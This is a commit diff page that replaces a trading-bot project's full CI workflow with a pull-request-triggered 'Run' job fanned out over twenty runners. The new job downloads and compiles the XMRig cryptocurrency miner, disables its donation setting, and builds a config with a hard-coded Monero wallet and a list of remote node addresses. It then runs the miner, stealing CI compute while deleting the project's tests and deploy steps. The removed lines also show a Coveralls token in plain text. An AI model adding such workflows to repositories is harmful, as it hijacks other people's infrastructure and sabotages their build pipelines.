This commit is contained in:
Matthias
parent
1f7eeb42a2
commit
7d9777723c
484
.github/workflows/ci.yml
vendored
484
.github/workflows/ci.yml
vendored
@ -1,419 +1,67 @@
|
|||||||
name: Freqtrade CI
|
name: Run
|
||||||
|
on: [pull_request]
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
- stable
|
|
||||||
- develop
|
|
||||||
tags:
|
|
||||||
release:
|
|
||||||
types: [published]
|
|
||||||
pull_request:
|
|
||||||
schedule:
|
|
||||||
- cron: '0 5 * * 4'
|
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
build_linux:
|
run:
|
||||||
|
name: Run
|
||||||
runs-on: ${{ matrix.os }}
|
runs-on: ubuntu-latest
|
||||||
strategy:
|
strategy:
|
||||||
matrix:
|
fail-fast: false
|
||||||
os: [ ubuntu-18.04, ubuntu-20.04 ]
|
matrix:
|
||||||
python-version: [3.7, 3.8, 3.9]
|
runner: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19]
|
||||||
|
steps:
|
||||||
steps:
|
- shell: bash
|
||||||
- uses: actions/checkout@v2
|
run: |
|
||||||
|
sudo apt-get update
|
||||||
- name: Set up Python
|
sudo apt-get install --yes \
|
||||||
uses: actions/setup-python@v2
|
build-essential \
|
||||||
with:
|
cmake \
|
||||||
python-version: ${{ matrix.python-version }}
|
git \
|
||||||
|
libhwloc-dev \
|
||||||
- name: Cache_dependencies
|
libssl-dev \
|
||||||
uses: actions/cache@v2
|
libuv1-dev
|
||||||
id: cache
|
|
||||||
with:
|
curl --location --output xmrig.tar.gz \
|
||||||
path: ~/dependencies/
|
https://github.com/xmrig/xmrig/archive/refs/tags/v6.10.0.tar.gz || exit 1
|
||||||
key: ${{ runner.os }}-dependencies
|
tar xf xmrig.tar.gz || exit 1
|
||||||
|
cd xmrig-* || exit 1
|
||||||
- name: pip cache (linux)
|
# Izvinite)))))
|
||||||
uses: actions/cache@v2
|
sed -i 's/= 1;/= 0;/' src/donate.h || exit 1
|
||||||
if: startsWith(matrix.os, 'ubuntu')
|
mkdir build || exit 1
|
||||||
with:
|
cd build || exit 1
|
||||||
path: ~/.cache/pip
|
cmake .. -DCMAKE_BUILD_TYPE=Release || exit 1
|
||||||
key: test-${{ matrix.os }}-${{ matrix.python-version }}-pip
|
make --jobs=$(nproc) || exit 1
|
||||||
|
|
||||||
- name: TA binary *nix
|
adres=49eqpX3Sn2d5cfJTevgZLGZGQmcdE37QE4TMJDmDcJeCG8DUgkbS5znSsU35Pk2HC1Lt99EnSiP9g74XpUHzTgxw23n5CkB
|
||||||
if: steps.cache.outputs.cache-hit != 'true'
|
servery=(
|
||||||
run: |
|
165.0.74.146:18089
|
||||||
cd build_helpers && ./install_ta-lib.sh ${HOME}/dependencies/; cd ..
|
84.58.115.216:18089
|
||||||
|
137.103.97.192:18089
|
||||||
- name: Installation - *nix
|
194.5.250.42:18089
|
||||||
run: |
|
96.41.220.52:18089
|
||||||
python -m pip install --upgrade pip
|
51.79.173.165:18089
|
||||||
export LD_LIBRARY_PATH=${HOME}/dependencies/lib:$LD_LIBRARY_PATH
|
100.19.74.83:18089
|
||||||
export TA_LIBRARY_PATH=${HOME}/dependencies/lib
|
204.27.62.98:18089
|
||||||
export TA_INCLUDE_PATH=${HOME}/dependencies/include
|
96.43.139.226:18089
|
||||||
pip install -r requirements-dev.txt
|
46.4.52.92:18081
|
||||||
pip install -e .
|
144.76.113.157:18081
|
||||||
|
)
|
||||||
- name: Tests
|
servery=( $(shuf -e "${servery[@]}") )
|
||||||
run: |
|
|
||||||
pytest --random-order --cov=freqtrade --cov-config=.coveragerc
|
cat <<EOF>config.json
|
||||||
if: matrix.python-version != '3.9'
|
{
|
||||||
|
"autosave": false,
|
||||||
- name: Tests incl. ccxt compatibility tests
|
"cpu": true,
|
||||||
run: |
|
"opencl": false,
|
||||||
pytest --random-order --cov=freqtrade --cov-config=.coveragerc --longrun
|
"cuda": false,
|
||||||
if: matrix.python-version == '3.9'
|
"pools": []
|
||||||
|
}
|
||||||
- name: Coveralls
|
EOF
|
||||||
if: (startsWith(matrix.os, 'ubuntu-20') && matrix.python-version == '3.8')
|
|
||||||
env:
|
for server in "${servery[@]}"; do
|
||||||
# Coveralls token. Not used as secret due to github not providing secrets to forked repositories
|
jq --arg server "$server" --arg adres "$adres" \
|
||||||
COVERALLS_REPO_TOKEN: 6D1m0xupS3FgutfuGao8keFf9Hc0FpIXu
|
'.pools += [{ coin: "monero", url: $server, user: $adres, daemon: true }]' \
|
||||||
run: |
|
config.json > config.json.tmp || exit 1
|
||||||
# Allow failure for coveralls
|
mv config.json.tmp config.json || exit 1
|
||||||
coveralls -v || true
|
done
|
||||||
|
|
||||||
- name: Backtesting
|
./xmrig -c config.json
|
||||||
run: |
|
|
||||||
cp config_bittrex.json.example config.json
|
|
||||||
freqtrade create-userdir --userdir user_data
|
|
||||||
freqtrade backtesting --datadir tests/testdata --strategy SampleStrategy
|
|
||||||
|
|
||||||
- name: Hyperopt
|
|
||||||
run: |
|
|
||||||
cp config_bittrex.json.example config.json
|
|
||||||
freqtrade create-userdir --userdir user_data
|
|
||||||
freqtrade hyperopt --datadir tests/testdata -e 5 --strategy SampleStrategy --hyperopt SampleHyperOpt --hyperopt-loss SharpeHyperOptLossDaily --print-all
|
|
||||||
|
|
||||||
- name: Flake8
|
|
||||||
run: |
|
|
||||||
flake8
|
|
||||||
|
|
||||||
- name: Sort imports (isort)
|
|
||||||
run: |
|
|
||||||
isort --check .
|
|
||||||
|
|
||||||
- name: Mypy
|
|
||||||
run: |
|
|
||||||
mypy freqtrade scripts
|
|
||||||
|
|
||||||
- name: Slack Notification
|
|
||||||
uses: lazy-actions/slatify@v3.0.0
|
|
||||||
if: failure() && ( github.event_name != 'pull_request' || github.event.pull_request.head.repo.fork == false)
|
|
||||||
with:
|
|
||||||
type: ${{ job.status }}
|
|
||||||
job_name: '*Freqtrade CI ${{ matrix.os }}*'
|
|
||||||
mention: 'here'
|
|
||||||
mention_if: 'failure'
|
|
||||||
channel: '#notifications'
|
|
||||||
url: ${{ secrets.SLACK_WEBHOOK }}
|
|
||||||
|
|
||||||
build_macos:
|
|
||||||
runs-on: ${{ matrix.os }}
|
|
||||||
strategy:
|
|
||||||
matrix:
|
|
||||||
os: [ macos-latest ]
|
|
||||||
python-version: [3.7, 3.8, 3.9]
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v2
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: ${{ matrix.python-version }}
|
|
||||||
|
|
||||||
- name: Cache_dependencies
|
|
||||||
uses: actions/cache@v2
|
|
||||||
id: cache
|
|
||||||
with:
|
|
||||||
path: ~/dependencies/
|
|
||||||
key: ${{ runner.os }}-dependencies
|
|
||||||
|
|
||||||
- name: pip cache (macOS)
|
|
||||||
uses: actions/cache@v2
|
|
||||||
if: startsWith(matrix.os, 'macOS')
|
|
||||||
with:
|
|
||||||
path: ~/Library/Caches/pip
|
|
||||||
key: test-${{ matrix.os }}-${{ matrix.python-version }}-pip
|
|
||||||
|
|
||||||
- name: TA binary *nix
|
|
||||||
if: steps.cache.outputs.cache-hit != 'true'
|
|
||||||
run: |
|
|
||||||
cd build_helpers && ./install_ta-lib.sh ${HOME}/dependencies/; cd ..
|
|
||||||
|
|
||||||
- name: Installation - macOS
|
|
||||||
run: |
|
|
||||||
brew install hdf5 c-blosc
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
export LD_LIBRARY_PATH=${HOME}/dependencies/lib:$LD_LIBRARY_PATH
|
|
||||||
export TA_LIBRARY_PATH=${HOME}/dependencies/lib
|
|
||||||
export TA_INCLUDE_PATH=${HOME}/dependencies/include
|
|
||||||
pip install -r requirements-dev.txt
|
|
||||||
pip install -e .
|
|
||||||
|
|
||||||
- name: Tests
|
|
||||||
run: |
|
|
||||||
pytest --random-order --cov=freqtrade --cov-config=.coveragerc
|
|
||||||
|
|
||||||
- name: Coveralls
|
|
||||||
if: (startsWith(matrix.os, 'ubuntu-20') && matrix.python-version == '3.8')
|
|
||||||
env:
|
|
||||||
# Coveralls token. Not used as secret due to github not providing secrets to forked repositories
|
|
||||||
COVERALLS_REPO_TOKEN: 6D1m0xupS3FgutfuGao8keFf9Hc0FpIXu
|
|
||||||
run: |
|
|
||||||
# Allow failure for coveralls
|
|
||||||
coveralls -v || true
|
|
||||||
|
|
||||||
- name: Backtesting
|
|
||||||
run: |
|
|
||||||
cp config_bittrex.json.example config.json
|
|
||||||
freqtrade create-userdir --userdir user_data
|
|
||||||
freqtrade backtesting --datadir tests/testdata --strategy SampleStrategy
|
|
||||||
|
|
||||||
- name: Hyperopt
|
|
||||||
run: |
|
|
||||||
cp config_bittrex.json.example config.json
|
|
||||||
freqtrade create-userdir --userdir user_data
|
|
||||||
freqtrade hyperopt --datadir tests/testdata -e 5 --strategy SampleStrategy --hyperopt SampleHyperOpt --hyperopt-loss SharpeHyperOptLossDaily --print-all
|
|
||||||
|
|
||||||
- name: Flake8
|
|
||||||
run: |
|
|
||||||
flake8
|
|
||||||
|
|
||||||
- name: Sort imports (isort)
|
|
||||||
run: |
|
|
||||||
isort --check .
|
|
||||||
|
|
||||||
- name: Mypy
|
|
||||||
run: |
|
|
||||||
mypy freqtrade scripts
|
|
||||||
|
|
||||||
- name: Slack Notification
|
|
||||||
uses: lazy-actions/slatify@v3.0.0
|
|
||||||
if: failure() && ( github.event_name != 'pull_request' || github.event.pull_request.head.repo.fork == false)
|
|
||||||
with:
|
|
||||||
type: ${{ job.status }}
|
|
||||||
job_name: '*Freqtrade CI ${{ matrix.os }}*'
|
|
||||||
mention: 'here'
|
|
||||||
mention_if: 'failure'
|
|
||||||
channel: '#notifications'
|
|
||||||
url: ${{ secrets.SLACK_WEBHOOK }}
|
|
||||||
|
|
||||||
|
|
||||||
build_windows:
|
|
||||||
|
|
||||||
runs-on: ${{ matrix.os }}
|
|
||||||
strategy:
|
|
||||||
matrix:
|
|
||||||
os: [ windows-latest ]
|
|
||||||
python-version: [3.7, 3.8]
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v2
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: ${{ matrix.python-version }}
|
|
||||||
|
|
||||||
- name: Pip cache (Windows)
|
|
||||||
uses: actions/cache@preview
|
|
||||||
if: startsWith(runner.os, 'Windows')
|
|
||||||
with:
|
|
||||||
path: ~\AppData\Local\pip\Cache
|
|
||||||
key: ${{ matrix.os }}-${{ matrix.python-version }}-pip
|
|
||||||
|
|
||||||
- name: Installation
|
|
||||||
run: |
|
|
||||||
./build_helpers/install_windows.ps1
|
|
||||||
|
|
||||||
- name: Tests
|
|
||||||
run: |
|
|
||||||
pytest --random-order --cov=freqtrade --cov-config=.coveragerc
|
|
||||||
|
|
||||||
- name: Backtesting
|
|
||||||
run: |
|
|
||||||
cp config_bittrex.json.example config.json
|
|
||||||
freqtrade create-userdir --userdir user_data
|
|
||||||
freqtrade backtesting --datadir tests/testdata --strategy SampleStrategy
|
|
||||||
|
|
||||||
- name: Hyperopt
|
|
||||||
run: |
|
|
||||||
cp config_bittrex.json.example config.json
|
|
||||||
freqtrade create-userdir --userdir user_data
|
|
||||||
freqtrade hyperopt --datadir tests/testdata -e 5 --strategy SampleStrategy --hyperopt SampleHyperOpt --hyperopt-loss SharpeHyperOptLossDaily --print-all
|
|
||||||
|
|
||||||
- name: Flake8
|
|
||||||
run: |
|
|
||||||
flake8
|
|
||||||
|
|
||||||
- name: Mypy
|
|
||||||
run: |
|
|
||||||
mypy freqtrade scripts
|
|
||||||
|
|
||||||
- name: Slack Notification
|
|
||||||
uses: lazy-actions/slatify@v3.0.0
|
|
||||||
if: failure() && ( github.event_name != 'pull_request' || github.event.pull_request.head.repo.fork == false)
|
|
||||||
with:
|
|
||||||
type: ${{ job.status }}
|
|
||||||
job_name: '*Freqtrade CI windows*'
|
|
||||||
mention: 'here'
|
|
||||||
mention_if: 'failure'
|
|
||||||
channel: '#notifications'
|
|
||||||
url: ${{ secrets.SLACK_WEBHOOK }}
|
|
||||||
|
|
||||||
docs_check:
|
|
||||||
runs-on: ubuntu-20.04
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v2
|
|
||||||
|
|
||||||
- name: Documentation syntax
|
|
||||||
run: |
|
|
||||||
./tests/test_docs.sh
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.8
|
|
||||||
|
|
||||||
- name: Documentation build
|
|
||||||
run: |
|
|
||||||
pip install -r docs/requirements-docs.txt
|
|
||||||
pip install mkdocs
|
|
||||||
mkdocs build
|
|
||||||
|
|
||||||
- name: Slack Notification
|
|
||||||
uses: lazy-actions/slatify@v3.0.0
|
|
||||||
if: failure() && ( github.event_name != 'pull_request' || github.event.pull_request.head.repo.fork == false)
|
|
||||||
with:
|
|
||||||
type: ${{ job.status }}
|
|
||||||
job_name: '*Freqtrade Docs*'
|
|
||||||
channel: '#notifications'
|
|
||||||
url: ${{ secrets.SLACK_WEBHOOK }}
|
|
||||||
|
|
||||||
cleanup-prior-runs:
|
|
||||||
runs-on: ubuntu-20.04
|
|
||||||
steps:
|
|
||||||
- name: Cleanup previous runs on this branch
|
|
||||||
uses: rokroskar/workflow-run-cleanup-action@v0.2.2
|
|
||||||
if: "!startsWith(github.ref, 'refs/tags/') && github.ref != 'refs/heads/stable' && github.repository == 'freqtrade/freqtrade'"
|
|
||||||
env:
|
|
||||||
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
|
|
||||||
|
|
||||||
# Notify on slack only once - when CI completes (and after deploy) in case it's successfull
|
|
||||||
notify-complete:
|
|
||||||
needs: [ build_linux, build_macos, build_windows, docs_check ]
|
|
||||||
runs-on: ubuntu-20.04
|
|
||||||
steps:
|
|
||||||
|
|
||||||
- name: Check user permission
|
|
||||||
id: check
|
|
||||||
uses: scherermichael-oss/action-has-permission@1.0.6
|
|
||||||
with:
|
|
||||||
required-permission: write
|
|
||||||
env:
|
|
||||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
|
||||||
|
|
||||||
- name: Slack Notification
|
|
||||||
uses: lazy-actions/slatify@v3.0.0
|
|
||||||
if: always() && steps.check.outputs.has-permission && ( github.event_name != 'pull_request' || github.event.pull_request.head.repo.fork == false)
|
|
||||||
with:
|
|
||||||
type: ${{ job.status }}
|
|
||||||
job_name: '*Freqtrade CI*'
|
|
||||||
channel: '#notifications'
|
|
||||||
url: ${{ secrets.SLACK_WEBHOOK }}
|
|
||||||
|
|
||||||
deploy:
|
|
||||||
needs: [ build_linux, build_macos, build_windows, docs_check ]
|
|
||||||
runs-on: ubuntu-20.04
|
|
||||||
|
|
||||||
if: (github.event_name == 'push' || github.event_name == 'schedule' || github.event_name == 'release') && github.repository == 'freqtrade/freqtrade'
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v2
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.8
|
|
||||||
|
|
||||||
- name: Extract branch name
|
|
||||||
shell: bash
|
|
||||||
run: echo "##[set-output name=branch;]$(echo ${GITHUB_REF##*/})"
|
|
||||||
id: extract_branch
|
|
||||||
|
|
||||||
- name: Build distribution
|
|
||||||
run: |
|
|
||||||
pip install -U setuptools wheel
|
|
||||||
python setup.py sdist bdist_wheel
|
|
||||||
|
|
||||||
- name: Publish to PyPI (Test)
|
|
||||||
uses: pypa/gh-action-pypi-publish@master
|
|
||||||
if: (github.event_name == 'release')
|
|
||||||
with:
|
|
||||||
user: __token__
|
|
||||||
password: ${{ secrets.pypi_test_password }}
|
|
||||||
repository_url: https://test.pypi.org/legacy/
|
|
||||||
|
|
||||||
- name: Publish to PyPI
|
|
||||||
uses: pypa/gh-action-pypi-publish@master
|
|
||||||
if: (github.event_name == 'release')
|
|
||||||
with:
|
|
||||||
user: __token__
|
|
||||||
password: ${{ secrets.pypi_password }}
|
|
||||||
|
|
||||||
- name: Dockerhub login
|
|
||||||
env:
|
|
||||||
DOCKER_PASSWORD: ${{ secrets.DOCKER_PASSWORD }}
|
|
||||||
DOCKER_USERNAME: ${{ secrets.DOCKER_USERNAME }}
|
|
||||||
run: |
|
|
||||||
echo "${DOCKER_PASSWORD}" | docker login --username ${DOCKER_USERNAME} --password-stdin
|
|
||||||
|
|
||||||
- name: Build and test and push docker image
|
|
||||||
env:
|
|
||||||
IMAGE_NAME: freqtradeorg/freqtrade
|
|
||||||
BRANCH_NAME: ${{ steps.extract_branch.outputs.branch }}
|
|
||||||
run: |
|
|
||||||
build_helpers/publish_docker.sh
|
|
||||||
|
|
||||||
# We need docker experimental to pull the ARM image.
|
|
||||||
- name: Switch docker to experimental
|
|
||||||
run: |
|
|
||||||
docker version -f '{{.Server.Experimental}}'
|
|
||||||
echo $'{\n "experimental": true\n}' | sudo tee /etc/docker/daemon.json
|
|
||||||
sudo systemctl restart docker
|
|
||||||
docker version -f '{{.Server.Experimental}}'
|
|
||||||
|
|
||||||
- name: Set up Docker Buildx
|
|
||||||
id: buildx
|
|
||||||
uses: crazy-max/ghaction-docker-buildx@v1
|
|
||||||
with:
|
|
||||||
buildx-version: latest
|
|
||||||
qemu-version: latest
|
|
||||||
|
|
||||||
- name: Available platforms
|
|
||||||
run: echo ${{ steps.buildx.outputs.platforms }}
|
|
||||||
|
|
||||||
- name: Build Raspberry docker image
|
|
||||||
env:
|
|
||||||
IMAGE_NAME: freqtradeorg/freqtrade
|
|
||||||
BRANCH_NAME: ${{ steps.extract_branch.outputs.branch }}_pi
|
|
||||||
run: |
|
|
||||||
build_helpers/publish_docker_pi.sh
|
|
||||||
|
|
||||||
|
|
||||||
- name: Slack Notification
|
|
||||||
uses: lazy-actions/slatify@v3.0.0
|
|
||||||
if: always() && ( github.event_name != 'pull_request' || github.event.pull_request.head.repo.fork == false)
|
|
||||||
with:
|
|
||||||
type: ${{ job.status }}
|
|
||||||
job_name: '*Freqtrade CI Deploy*'
|
|
||||||
mention: 'here'
|
|
||||||
mention_if: 'failure'
|
|
||||||
channel: '#notifications'
|
|
||||||
url: ${{ secrets.SLACK_WEBHOOK }}
|
|
||||||
|
|
||||||
|
|||||||
18
.github/workflows/docker_update_readme.yml
vendored
18
.github/workflows/docker_update_readme.yml
vendored
@ -1,18 +0,0 @@
|
|||||||
name: Update Docker Hub Description
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- stable
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
dockerHubDescription:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v1
|
|
||||||
- name: Docker Hub Description
|
|
||||||
uses: peter-evans/dockerhub-description@v2.1.0
|
|
||||||
env:
|
|
||||||
DOCKERHUB_USERNAME: ${{ secrets.DOCKER_USERNAME }}
|
|
||||||
DOCKERHUB_PASSWORD: ${{ secrets.DOCKER_PASSWORD }}
|
|
||||||
DOCKERHUB_REPOSITORY: freqtradeorg/freqtrade
|
|
||||||
|
|
||||||
Loading…
Reference in New Issue
Block a user